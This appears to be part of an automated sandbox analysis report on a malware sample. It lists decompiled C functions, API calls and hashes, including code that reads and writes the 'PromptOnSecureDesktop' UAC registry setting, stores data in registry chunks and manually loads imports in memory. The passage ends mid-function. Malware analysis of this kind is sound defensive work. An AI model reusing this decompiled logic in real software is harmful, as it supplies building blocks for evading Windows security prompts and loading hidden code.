Instruction Fuzzy Hash: 4E31AE32600716DFCB318F25E8867967FE4BB09320F14C5AAE65987551E770E884EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00576DF7, Relevance: 9.1, APIs: 6, Instructions: 84COMMON

Download Yara Rule

APIs

IsBadCodePtr.KERNEL32 ref: 00576E02

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: Code
String ID:
API String ID: 3609698214-0
Opcode ID: dbd61df3ebb78cc6fa2ed7637639bc7d17aa9fbedb66480432ceb7f56d018bc4
Instruction ID: e943264a4c3c97c9d277818991b5558d3942464ee40d111760e787e63a839b14
Opcode Fuzzy Hash: dbd61df3ebb78cc6fa2ed7637639bc7d17aa9fbedb66480432ceb7f56d018bc4
Instruction Fuzzy Hash: 09218E76104606FFDB109BA0FC49EEF3EACEB48760B20C425F90AD10A1EB708A40A674

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD05, Relevance: 9.0, APIs: 6, Instructions: 34
threadsleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DD05() {
				long _t4;
				long _t10;

				_t10 = GetTickCount();
				while(InterlockedExchange(0x4136b4, 1) != 0) {
					if(GetCurrentThreadId() !=  *0x4136b8) {
						if(GetTickCount() - _t10 >= 0x2710) {
							 *0x4136bc =  *0x4136bc & 0x00000000;
						} else {
							Sleep(0);
							continue;
						}
					}
					L7:
					_t4 = GetCurrentThreadId();
					 *0x4136bc =  *0x4136bc + 1;
					 *0x4136b8 = _t4;
					return _t4;
				}
				goto L7;
			}

0x0040dd17
0x0040dd41
0x0040dd2c
0x0040dd37
0x0040dd4c
0x0040dd39
0x0040dd3b
0x00000000
0x0040dd3b
0x0040dd37
0x0040dd53
0x0040dd53
0x0040dd59
0x0040dd62
0x0040dd68
0x0040dd68
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0040DD0F
GetCurrentThreadId.KERNEL32 ref: 0040DD20
GetTickCount.KERNEL32 ref: 0040DD2E
Sleep.KERNEL32(00000000,?,74E043E0,?,00000000,0040E538,?,74E043E0,?,00000000,?,0040A445), ref: 0040DD3B
InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
GetCurrentThreadId.KERNEL32 ref: 0040DD53

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: CountCurrentThreadTick$ExchangeInterlockedSleep
String ID:
API String ID: 3819781495-0
Opcode ID: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction ID: 5047c4a85d7ce053583ecb6bfb553561e79882e3d1eaa06aec664d00f8baf4e0
Opcode Fuzzy Hash: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction Fuzzy Hash: 1AF0E971604204AFD7505FA5BC84BB53FA4EB48353F008077E109D22A8C77455898F2E

Uniqueness

Uniqueness Score: -1.00%

Function 004080C9, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 146
registryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004080C9(int* __ecx) {
				int _v8;
				void* _v12;
				int _v16;
				char _v20;
				char _v52;
				char _v312;
				void* _t27;
				void* _t31;
				char* _t35;
				char* _t42;
				char* _t45;
				intOrPtr* _t49;
				intOrPtr _t52;
				intOrPtr _t57;
				void* _t60;
				intOrPtr _t63;
				void* _t65;
				void* _t68;
				CHAR _t70;
				intOrPtr _t71;

				_t56 = __ecx;
				_v8 = 0;
				 *0x412c3c = 0;
				 *0x412c38 = 0;
				if(E00406EC3() != 0) {
					_t27 = E0040704C(0x410264, 0, 0,  &_v312,  &_v52);
					_t65 = _t65 + 0x14;
					if(_t27 <= 0 || _v312 == 0 || _v52 == 0) {
						goto L20;
					} else {
						_t35 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
						_t68 = _t65 + 0x14;
						if(RegOpenKeyExA(0x80000001, _t35, 0, 0x101,  &_v12) != 0) {
							L19:
							E0040EE2A(_t56, 0x4122f8, 0, 0x100);
							_t65 = _t68 + 0xc;
							goto L20;
						}
						if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, 0,  &_v8) != 0 || _v16 != 1 || _v8 <= 0) {
							L15:
							_t42 =  *0x412c3c; // 0x0
							if(_t42 == 0) {
								goto L18;
							}
							E0040EC2E(_t42);
							 *0x412c3c = 0;
							goto L17;
						} else {
							_t45 = E0040EBCC(_v8);
							_pop(_t56);
							 *0x412c3c = _t45;
							if(_t45 == 0) {
								L18:
								RegCloseKey(_v12);
								goto L19;
							}
							_t56 =  &_v8;
							if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, _t45,  &_v8) != 0) {
								goto L15;
							}
							_t49 =  &_v312;
							_t60 = _t49 + 1;
							do {
								_t57 =  *_t49;
								_t49 = _t49 + 1;
							} while (_t57 != 0);
							_t52 = E0040EBCC(_t49 - _t60 + 1);
							_pop(_t56);
							 *0x412c38 = _t52;
							if(_t52 == 0) {
								goto L18;
							}
							E0040EF00(_t52,  &_v312);
							L17:
							_pop(_t56);
							goto L18;
						}
					}
				} else {
					E00407EE6(_t56);
					L20:
					_t70 =  *0x4121a8; // 0x0
					if(_t70 != 0) {
						_t71 =  *0x4121a4; // 0x0
						if(_t71 == 0) {
							_t31 = E0040675C(0x4121a8,  &_v20, 0);
							_t61 = _t31;
							if(_t31 != 0) {
								_t63 = _v20;
								 *0x4122d4 = E004024C2(_t61, _t63, 0);
								 *0x4121a4 = _t63;
								E0040EC2E(_t61);
							}
						}
					}
					return 1;
				}
			}

0x004080c9
0x004080d7
0x004080da
0x004080e0
0x004080ed
0x0040810b
0x00408110
0x00408115
0x00000000
0x00408130
0x00408151
0x00408156
0x00408167
0x00408216
0x0040821d
0x00408222
0x00000000
0x00408222
0x0040818b
0x004081f7
0x004081f7
0x004081fe
0x00000000
0x00000000
0x00408201
0x00408206
0x00000000
0x00408198
0x0040819b
0x004081a0
0x004081a1
0x004081a8
0x0040820d
0x00408210
0x00000000
0x00408210
0x004081aa
0x004081c2
0x00000000
0x00000000
0x004081c4
0x004081ca
0x004081cd
0x004081cd
0x004081cf
0x004081d0
0x004081d8
0x004081dd
0x004081de
0x004081e5
0x00000000
0x00000000
0x004081ef
0x0040820c
0x0040820c
0x00000000
0x0040820c
0x0040818b
0x004080ef
0x004080ef
0x00408225
0x00408225
0x0040822b
0x0040822d
0x00408233
0x0040823f
0x00408244
0x0040824b
0x0040824d
0x00408259
0x0040825e
0x00408264
0x00408269
0x0040824b
0x00408233
0x00408273
0x00408273

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?,?,?,?,74E043E0,00000000), ref: 0040815F
RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,74E043E0,00000000), ref: 00408187
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,74E043E0,00000000), ref: 004081BE
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?,?,?,?,74E043E0,00000000), ref: 00408210

Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000080,?,74E043E0,00000000), ref: 0040677E
Part of subcall function 0040675C: CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,74E043E0,00000000), ref: 0040679A
Part of subcall function 0040675C: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,74E043E0,00000000), ref: 004067B0
Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000002,?,74E043E0,00000000), ref: 004067BF
Part of subcall function 0040675C: GetFileSize.KERNEL32(000000FF,00000000,?,74E043E0,00000000), ref: 004067D3
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,74E043E0,00000000), ref: 00406807
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,74E043E0,00000000), ref: 0040681F
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,74E043E0,00000000), ref: 0040683E
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,74E043E0,00000000), ref: 0040685C

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Strings

PromptOnSecureDesktop, xrefs: 0040814B, 00408150, 0040821C

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: File$AttributesCreateHeapPointerQueryReadValue$CloseFreeOpenProcessSize
String ID: PromptOnSecureDesktop
API String ID: 124786226-2980165447
Opcode ID: f41c48beccc796d99ac39a3e9a8e7a8285e468a1565ebf528982a8b7ec716e81
Instruction ID: c6ff5cc28a73505882571aaa3479db7aabb841166acb9389a4089cab67cb233b
Opcode Fuzzy Hash: f41c48beccc796d99ac39a3e9a8e7a8285e468a1565ebf528982a8b7ec716e81
Instruction Fuzzy Hash: 6641A2B1801109BFEB10EBA19E81DEF777CDB04304F1448BFF545F2182EAB85A948B59

Uniqueness

Uniqueness Score: -1.00%

Function 0057E2E5, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,0057E4F3,00000000,00000000,00000000,00020106,00000000,0057E4F3,00000000,000000E4), ref: 0057E302
RegSetValueExA.ADVAPI32(0057E4F3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0057E377
RegDeleteValueA.ADVAPI32(0057E4F3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0057E3A8
RegCloseKey.ADVAPI32(0057E4F3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0057E4F3), ref: 0057E3B1

Strings

PromptOnSecureDesktop, xrefs: 0057E323

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID: PromptOnSecureDesktop
API String ID: 2667537340-2980165447
Opcode ID: 71be46fcf4b4c1b855c56a8beb8c548cd5d416d4e28516e03566d8543fb954ad
Instruction ID: 1a11e5649c5ce4444168bd2c78c55d903e193dd4daa1f5b56159c365fc5626c1
Opcode Fuzzy Hash: 71be46fcf4b4c1b855c56a8beb8c548cd5d416d4e28516e03566d8543fb954ad
Instruction Fuzzy Hash: 5A218031A0021DBBDF209FA5EC8AEEE7F79FF09750F008461F908A3151E2719A54D7A0

Uniqueness

Uniqueness Score: -1.00%

Function 0040E095, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E095(void* _a4, char* _a8, intOrPtr* _a12, char* _a16, int _a20) {
				int _v8;
				char* _v12;
				void* _v16;
				char _v48;
				intOrPtr* _t34;
				int _t50;
				void* _t52;
				intOrPtr _t53;
				int _t57;
				int _t58;
				void* _t59;
				void* _t60;
				void* _t61;

				_t57 = 0;
				if(RegCreateKeyExA(_a4, _a8, 0, 0, 0, 0x20106, 0,  &_v16, 0) != 0) {
					return 0;
				}
				_v12 = _a16;
				_t34 = _a12;
				_t52 = _t34 + 1;
				do {
					_t53 =  *_t34;
					_t34 = _t34 + 1;
				} while (_t53 != 0);
				_t55 = _t34 - _t52;
				_v8 = 0;
				if(_t34 - _t52 > 0x1c) {
					_t55 = 0x1c;
				}
				E0040EE08( &_v48, _a12, _t55);
				_t50 = _a20;
				_t61 = _t60 + 0xc;
				if(_t50 <= _t57) {
					L11:
					E0040F1ED(_v8, _t59 + _t55 - 0x2c, 0xa);
					RegDeleteValueA(_v16,  &_v48);
					RegCloseKey(_v16);
					return 0 | _t50 == _t57;
				} else {
					while(1) {
						_t58 = 0xff000;
						if(_t50 < 0xff000) {
							_t58 = _t50;
						}
						E0040F1ED(_v8, _t59 + _t55 - 0x2c, 0xa);
						_t61 = _t61 + 0xc;
						if(RegSetValueExA(_v16,  &_v48, 0, 3, _v12, _t58) != 0) {
							break;
						}
						_v12 =  &(_v12[_t58]);
						_t50 = _t50 - _t58;
						_v8 = _v8 + 1;
						if(_t50 > 0) {
							continue;
						}
						break;
					}
					_t57 = 0;
					goto L11;
				}
			}

0x0040e09c
0x0040e0ba
0x00000000
0x0040e172
0x0040e0c3
0x0040e0c6
0x0040e0c9
0x0040e0cc
0x0040e0cc
0x0040e0ce
0x0040e0cf
0x0040e0d7
0x0040e0d9
0x0040e0df
0x0040e0e3
0x0040e0e3
0x0040e0ec
0x0040e0f1
0x0040e0f4
0x0040e0f9
0x0040e13f
0x0040e149
0x0040e158
0x0040e161
0x00000000
0x0040e0fb
0x0040e0fb
0x0040e0fb
0x0040e102
0x0040e104
0x0040e104
0x0040e110
0x0040e115
0x0040e12f
0x00000000
0x00000000
0x0040e131
0x0040e134
0x0040e136
0x0040e13b
0x00000000
0x00000000
0x00000000
0x0040e13b
0x0040e13d
0x00000000
0x0040e13d

APIs

RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E127
RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E158
RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Strings

PromptOnSecureDesktop, xrefs: 0040E0D3

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID: PromptOnSecureDesktop
API String ID: 2667537340-2980165447
Opcode ID: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction ID: af4a942e7328ea1ce2cdf979f73f75556816175b5134196b99f0fb832a21e1c2
Opcode Fuzzy Hash: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction Fuzzy Hash: 2F218071A00219BBDF209FA6EC89EDF7F79EF08754F008072F904A6190E6718A64DB94

Uniqueness

Uniqueness Score: -1.00%

Function 005771AF, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 005771CA
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00577211
LocalFree.KERNEL32(?,?,?), ref: 0057726F
wsprintfA.USER32 ref: 00577286

Strings

|, xrefs: 00577203

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: Name$AccountFreeLocalLookupUserwsprintf
String ID: |
API String ID: 2539190677-2343686810
Opcode ID: 0c0665c49b02975d3cb655efb4674a53369201e8279effc4896e63a6fe97e42a
Instruction ID: 089476798f9122a1fef9fd00b338955c7024e312e0339a9016b7e7fce2ac8fd3
Opcode Fuzzy Hash: 0c0665c49b02975d3cb655efb4674a53369201e8279effc4896e63a6fe97e42a
Instruction Fuzzy Hash: 6A312B76604109BFDB01DFA4E849ADA7FACFF08350F14C066B859DB201EA74DA48CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD08, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AD08(CHAR* _a4) {
				char _v132;
				int _t9;
				char _t11;
				intOrPtr* _t12;
				CHAR* _t13;
				CHAR* _t14;

				_t9 = gethostname( &_v132, 0x80);
				if(_t9 != 0) {
					_t14 = _a4;
					L15:
					if( *_t14 != 0) {
						return _t9;
					}
					return lstrcpyA(_t14, "LocalHost");
				}
				_t13 = _a4;
				_t11 = _v132;
				_t12 =  &_v132;
				_t14 = _t13;
				while(_t11 != 0) {
					if(_t11 < 0x61 || _t11 > 0x7a) {
						if(_t11 < 0x41 || _t11 > 0x5a) {
							if(_t11 < 0x30 || _t11 > 0x39) {
								if(_t11 != 0x2e) {
									goto L10;
								}
							}
						}
						goto L9;
					} else {
						L9:
						 *_t13 = _t11;
						_t13 =  &(_t13[1]);
						L10:
						_t12 = _t12 + 1;
						_t11 =  *_t12;
						continue;
					}
				}
				_t9 = lstrlenA(_t14);
				if(_t14[_t9] == 0x2e) {
					_t9 = lstrlenA(_t14);
					_t14[_t9] = 0;
				}
				goto L15;
			}

0x0040ad1c
0x0040ad24
0x0040ad71
0x0040ad74
0x0040ad77
0x0040ad88
0x0040ad88
0x00000000
0x0040ad7f
0x0040ad26
0x0040ad29
0x0040ad2c
0x0040ad2f
0x0040ad55
0x0040ad35
0x0040ad3d
0x0040ad45
0x0040ad4d
0x00000000
0x00000000
0x0040ad4d
0x0040ad45
0x00000000
0x0040ad4f
0x0040ad4f
0x0040ad4f
0x0040ad51
0x0040ad52
0x0040ad52
0x0040ad53
0x00000000
0x0040ad53
0x0040ad35
0x0040ad60
0x0040ad66
0x0040ad69
0x0040ad6b
0x0040ad6b
0x00000000

APIs

gethostname.WS2_32(?,00000080), ref: 0040AD1C
lstrlenA.KERNEL32(00000000), ref: 0040AD60
lstrlenA.KERNEL32(00000000), ref: 0040AD69
lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Strings

LocalHost, xrefs: 0040AD79

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: lstrlen$gethostnamelstrcpy
String ID: LocalHost
API String ID: 3695455745-3154191806
Opcode ID: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction ID: 5e983dddb47fd7e780230f110e9d304ee880480ae48faa8370a3fb9af9ed59c3
Opcode Fuzzy Hash: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction Fuzzy Hash: FA0149208443895EDF3107289844BEA3F675F9670AF104077E4C0BB692E77C8893835F

Uniqueness

Uniqueness Score: -1.00%

Function 0057B461, Relevance: 7.6, APIs: 5, Instructions: 131timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0057B503
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0057B512
SystemTimeToFileTime.KERNEL32(?,?), ref: 0057B531
GetTimeZoneInformation.KERNEL32(?), ref: 0057B579
wsprintfA.USER32 ref: 0057B607

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: Time$File$Local$InformationSystemZonewsprintf
String ID:
API String ID: 4026320513-0
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: b0091414adf97818dd98d58745c898dca9334314824adcf60b525f3bd85a8023
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: FE5130B1D0021DAADF14DFD5D8885EEBBB9BF48304F10852AF505B6150E7B84AC9DF98

Uniqueness

Uniqueness Score: -1.00%

Function 005762B9, Relevance: 7.6, APIs: 5, Instructions: 121libraryloaderCOMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(?,00000014), ref: 005762EC
LoadLibraryA.KERNEL32(?), ref: 00576313
GetProcAddress.KERNEL32(00000000,?), ref: 0057639A
IsBadHugeReadPtr.KERNEL32(-000000DC,00000014), ref: 005763EE

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: HugeRead$AddressLibraryLoadProc
String ID:
API String ID: 3498078134-0
Opcode ID: 22151fd6ac6a99dd14e45186f4812a7dac7af9c00bb3bb0eb99ee7530713bb62
Instruction ID: 91559efefb3d8cb449d804cbc2c64bba396ba8e818c9d7e1f27d23c626123b55
Opcode Fuzzy Hash: 22151fd6ac6a99dd14e45186f4812a7dac7af9c00bb3bb0eb99ee7530713bb62
Instruction Fuzzy Hash: EF418071A00516AFDB14CF58E884BADBBB9FF14354F24C969E819D7290D730ED41EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00406069, Relevance: 7.6, APIs: 5, Instructions: 121
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406069(_Unknown_base(*)()* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				struct HINSTANCE__* _v16;
				intOrPtr _t47;
				_Unknown_base(*)()* _t48;
				_Unknown_base(*)()* _t50;
				struct HINSTANCE__* _t52;
				_Unknown_base(*)()* _t53;
				_Unknown_base(*)()* _t54;
				_Unknown_base(*)()* _t55;
				signed int _t56;
				_Unknown_base(*)()* _t59;
				_Unknown_base(*)()* _t62;
				_Unknown_base(*)()* _t63;
				intOrPtr _t69;
				_Unknown_base(*)()* _t76;
				_Unknown_base(*)()* _t77;
				intOrPtr* _t82;
				void* _t85;
				intOrPtr* _t87;
				_Unknown_base(*)()* _t89;

				_t82 = _a4;
				_t47 =  *_t82;
				_t3 = _t82 + 4; // 0x65e85621
				_t69 =  *_t3;
				_v12 = 1;
				if( *((intOrPtr*)(_t47 + 0x84)) != 0) {
					_t85 =  *((intOrPtr*)(_t47 + 0x80)) + _t69;
					_t48 = IsBadReadPtr(_t85, 0x14);
					__eflags = _t48;
					if(_t48 != 0) {
						L29:
						return _v12;
					}
					_t87 = _t85 + 0x10;
					_v8 = _t87;
					while(1) {
						_t50 =  *(_t87 - 4);
						__eflags = _t50;
						if(_t50 == 0) {
							goto L29;
						}
						_t52 = LoadLibraryA(_t50 + _t69);
						_v16 = _t52;
						__eflags = _t52 - 0xffffffff;
						if(_t52 == 0xffffffff) {
							L28:
							_t44 =  &_v12;
							 *_t44 = _v12 & 0x00000000;
							__eflags =  *_t44;
							goto L29;
						}
						_t10 = _t82 + 8; // 0x8bfffffa
						_t53 =  *_t10;
						__eflags = _t53;
						if(_t53 != 0) {
							_t14 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBED(_t53, 4 +  *_t14 * 4);
						} else {
							_t11 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBCC(4 +  *_t11 * 4);
						}
						 *(_t82 + 8) = _t54;
						__eflags = _t54;
						if(_t54 == 0) {
							goto L28;
						} else {
							_t18 = _t82 + 0xc; // 0x28408b06
							 *((intOrPtr*)(_t54 +  *_t18 * 4)) = _v16;
							 *(_t82 + 0xc) =  *(_t82 + 0xc) + 1;
							_t55 =  *(_t87 - 0x10);
							__eflags = _t55;
							if(_t55 == 0) {
								_t89 =  *_t87 + _t69;
								__eflags = _t89;
								_t76 = _t89;
							} else {
								_t89 = _t55 + _t69;
								_t76 =  *_v8 + _t69;
							}
							_t56 =  *_t89;
							__eflags = _t56;
							if(_t56 == 0) {
								L25:
								__eflags = _v12;
								if(_v12 == 0) {
									goto L29;
								}
								_v8 = _v8 + 0x14;
								_t59 = IsBadReadPtr(_v8 + 0xfffffff0, 0x14);
								__eflags = _t59;
								if(_t59 == 0) {
									_t87 = _v8;
									continue;
								}
								goto L29;
							} else {
								_a4 = _t76;
								_a4 = _a4 - _t89;
								__eflags = _t56;
								do {
									if(__eflags >= 0) {
										_t62 = GetProcAddress(_v16, _t56 + _t69 + 2);
										__eflags = _t62;
										if(_t62 == 0) {
											L21:
											_t63 = _a4;
											__eflags =  *(_t63 + _t89);
											if( *(_t63 + _t89) == 0) {
												_t38 =  &_v12;
												 *_t38 = _v12 & 0x00000000;
												__eflags =  *_t38;
												goto L25;
											}
											goto L22;
										}
										_t77 = _a4;
										__eflags = _t62 -  *(_t77 + _t89);
										if(_t62 ==  *(_t77 + _t89)) {
											goto L21;
										}
										L20:
										 *(_t77 + _t89) = _t62;
										goto L21;
									}
									_t62 = GetProcAddress(_v16, _t56 & 0x0000ffff);
									_t77 = _a4;
									goto L20;
									L22:
									_t89 = _t89 + 4;
									_t56 =  *_t89;
									__eflags = _t56;
								} while (__eflags != 0);
								goto L25;
							}
						}
					}
					goto L29;
				}
				return 1;
			}

0x00406071
0x00406074
0x0040607c
0x0040607c
0x00406082
0x00406087
0x00406099
0x0040609c
0x004060a2
0x004060a4
0x004061b2
0x00000000
0x004061b5
0x004060aa
0x004060ad
0x004060b5
0x004060b5
0x004060b8
0x004060ba
0x00000000
0x00000000
0x004060c3
0x004060c9
0x004060cc
0x004060cf
0x004061ae
0x004061ae
0x004061ae
0x004061ae
0x00000000
0x004061ae
0x004060d5
0x004060d5
0x004060d8
0x004060da
0x004060ee
0x004060fa
0x004060dc
0x004060dc
0x004060e7
0x004060e7
0x00406101
0x00406104
0x00406106
0x00000000
0x0040610c
0x0040610c
0x00406112
0x00406115
0x00406118
0x0040611b
0x0040611d
0x0040612d
0x0040612d
0x0040612f
0x0040611f
0x0040611f
0x00406127
0x00406127
0x00406131
0x00406133
0x00406135
0x0040618b
0x0040618b
0x0040618f
0x00000000
0x00000000
0x00406191
0x0040619e
0x004061a4
0x004061a6
0x004060b2
0x00000000
0x004060b2
0x00000000
0x00406137
0x00406137
0x0040613a
0x0040613d
0x0040613f
0x0040613f
0x0040615e
0x00406164
0x00406166
0x00406173
0x00406173
0x00406176
0x0040617a
0x00406187
0x00406187
0x00406187
0x00000000
0x00406187
0x00000000
0x0040617a
0x00406168
0x0040616b
0x0040616e
0x00000000
0x00000000
0x00406170
0x00406170
0x00000000
0x00406170
0x0040614a
0x00406150
0x00000000
0x0040617c
0x0040617c
0x0040617f
0x00406181
0x00406181
0x00000000
0x00406185
0x00406135
0x00406106
0x00000000
0x004060b5
0x00000000

APIs

IsBadReadPtr.KERNEL32(?,00000014,00000000,?,00000000,?,004064CF,00000000), ref: 0040609C
LoadLibraryA.KERNEL32(?,?,004064CF,00000000), ref: 004060C3
GetProcAddress.KERNEL32(?,00000014), ref: 0040614A
IsBadReadPtr.KERNEL32(-000000DC,00000014), ref: 0040619E

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: Read$AddressLibraryLoadProc
String ID:
API String ID: 2438460464-0
Opcode ID: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction ID: 2c66ad34c3d6fb1da92a891872b73c8746f5f3d5bf62d79dfacd6c24df0475f4
Opcode Fuzzy Hash: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction Fuzzy Hash: D5418C71A00105AFDB10CF58C884BAAB7B9EF14354F26807AE816EB3D1D738ED61CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00402923, Relevance: 7.6, APIs: 5, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00402923(void* __ecx, void* __esi, intOrPtr _a4) {
				signed int* _v8;
				signed int* _v12;
				signed int* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed short _v28;
				short _v30;
				short _v32;
				char _v292;
				char _v296;
				void* __ebx;
				void* __edi;
				void* _t37;
				intOrPtr _t41;
				signed int* _t42;
				signed short _t53;
				signed int** _t62;
				void* _t67;
				void* _t70;
				intOrPtr _t71;
				intOrPtr* _t79;
				signed int* _t80;
				void* _t81;
				void* _t82;
				void* _t83;

				_t81 = __esi;
				_t37 = 0xc;
				_v8 = 0;
				_v16 = 0;
				if(_a4 >= _t37) {
					_t67 = E00402816(_t37, __esi, __ecx, __esi, _a4);
					if(_t67 < _a4) {
						_t76 =  *(__esi + 6) & 0x0000ffff;
						_t41 = ( *(__esi + 0xa) & 0x0000ffff) + ( *(__esi + 8) & 0x0000ffff) + ( *(__esi + 6) & 0x0000ffff);
						_v20 = _t41;
						_v12 = 0;
						if(_t41 <= 0) {
							L13:
							_t42 = _v16;
							L14:
							return _t42;
						}
						while(_t67 < _a4) {
